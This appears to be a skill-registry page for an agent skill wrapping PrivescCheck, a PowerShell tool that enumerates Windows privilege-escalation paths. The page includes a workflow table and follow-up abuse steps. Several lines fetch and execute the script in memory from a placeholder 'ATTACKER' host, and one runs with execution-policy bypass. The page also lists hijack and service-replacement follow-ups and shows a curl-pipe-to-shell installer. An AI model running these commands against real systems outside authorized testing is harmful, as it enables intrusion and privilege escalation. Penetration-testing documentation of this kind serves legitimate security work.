privesccheck
Auth/lab ref: PrivescCheck Windows privilege review; services, tasks, registry policy, DLL/COM paths, stored-secret indicators.
v2026.11.13-21cd5683 installs+3 in 7 days39 StarsMITsynced 11 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/privesccheckWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package0850e195…97384735
0850e1954a73…3e7e973847352 files · 2.1 KBScanMedium4 findings
- command.pipe_to_shellSKILL.md:29
- command.pipe_to_shellSKILL.md:57
- command.pipe_to_shellreferences/ps-opsec-and-reporting.md:16
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/privesccheck@21cd568
On this page
PowerShell-native Windows privilege escalation enumeration with readable output and reporting support.
Why Use It Instead of WinPEAS
Use PrivescCheck when:
- a pure PowerShell workflow is preferable
- dropping EXEs is blocked or high-friction
- you want structured readable results and HTML reports
- you need a lower-friction alternative before noisier tooling
It complements winpeas; it does not replace it entirely.
Quick Start
# In-memory delivery
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
# Thorough enumeration
Invoke-PrivescCheck -Extended
# HTML report
Invoke-PrivescCheck -Report privesc_report -Format HTML
# Local script execution
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"Enumeration Areas
| Category | What it enumerates |
|---|---|
| Services | Unquoted paths, weak DACLs, writable binaries |
| Scheduled Tasks | Writable task scripts, privileged task actions |
| Registry | AlwaysInstallElevated, autoruns, weak policy settings |
| Credentials | GPP remnants, stored credentials, autologon clues |
| Current User | Token privileges, group memberships, effective context |
| COM Objects | Hijackable registrations |
| DLL Hijacking | Search-order abuse opportunities |
Common Workflows
Quick low-noise triage
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
# Triage services, tasks, registry, token privileges firstFull report for offline review
. .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report privesc_report -Format HTMLPair with WinPEAS
1. Run PrivescCheck first for readable PS-native output
2. Validate high-confidence findings
3. Run WinPEAS if more breadth is needed
4. Build exploit chain from confirmed vectorSeverity Triage
| Level | Meaning |
|---|---|
| Info | All findings including informational (default) |
| Low | Medium+ severity only |
| Medium | High severity focus |
High-Value Follow-Ups
- AlwaysInstallElevated → test MSI install path
- Weak service DACL → reconfigure or replace service path/binary
- Scheduled task script writable → replace payload/script target
- DLL hijack opportunity → verify load path and writable directory
- COM hijack → validate CLSID path write access before action
Relationship to Other Windows Skills
| Skill | Best use |
|---|---|
winpeas |
Broad, aggressive Windows privesc enumeration |
watson |
Fixed patch checks for supported legacy Windows builds only |
powerview |
AD privilege and domain attack-path discovery |
Resources
| File | When to load |
|---|---|
references/ps-opsec-and-reporting.md |
PowerShell-native delivery, report workflow, and when to prefer PrivescCheck over WinPEAS |
Files in this version
references/11.7 KB
- ps-opsec-and-reporting.md1.7 KB
- SKILL.md3.1 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | No | No |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- MediumCommand · command.pipe_to_shellSKILL.md:29
- MediumCommand · command.pipe_to_shellSKILL.md:57
- MediumCommand · command.pipe_to_shellreferences/ps-opsec-and-reporting.md:16
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | Nov 13, 2026 | 21cd568 | 0850e195 | Signed | – |
More from AeonDave
All from this publisherMore in Active Directory and Windows
See the category- offensive-windows-mitigationssnailsploit/offensive-windows-mitigations4
- active-directory-attack-pathssecurityskills/active-directory-attack-paths3
- analyzing-powershell-script-block-loggingmukul975/analyzing-powershell-script-block-logging3
- offensive-windows-boundariessnailsploit/offensive-windows-boundaries3
- evil-winrmaeondave/evil-winrm3
- bloodyadaeondave/bloodyad3
Ask anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login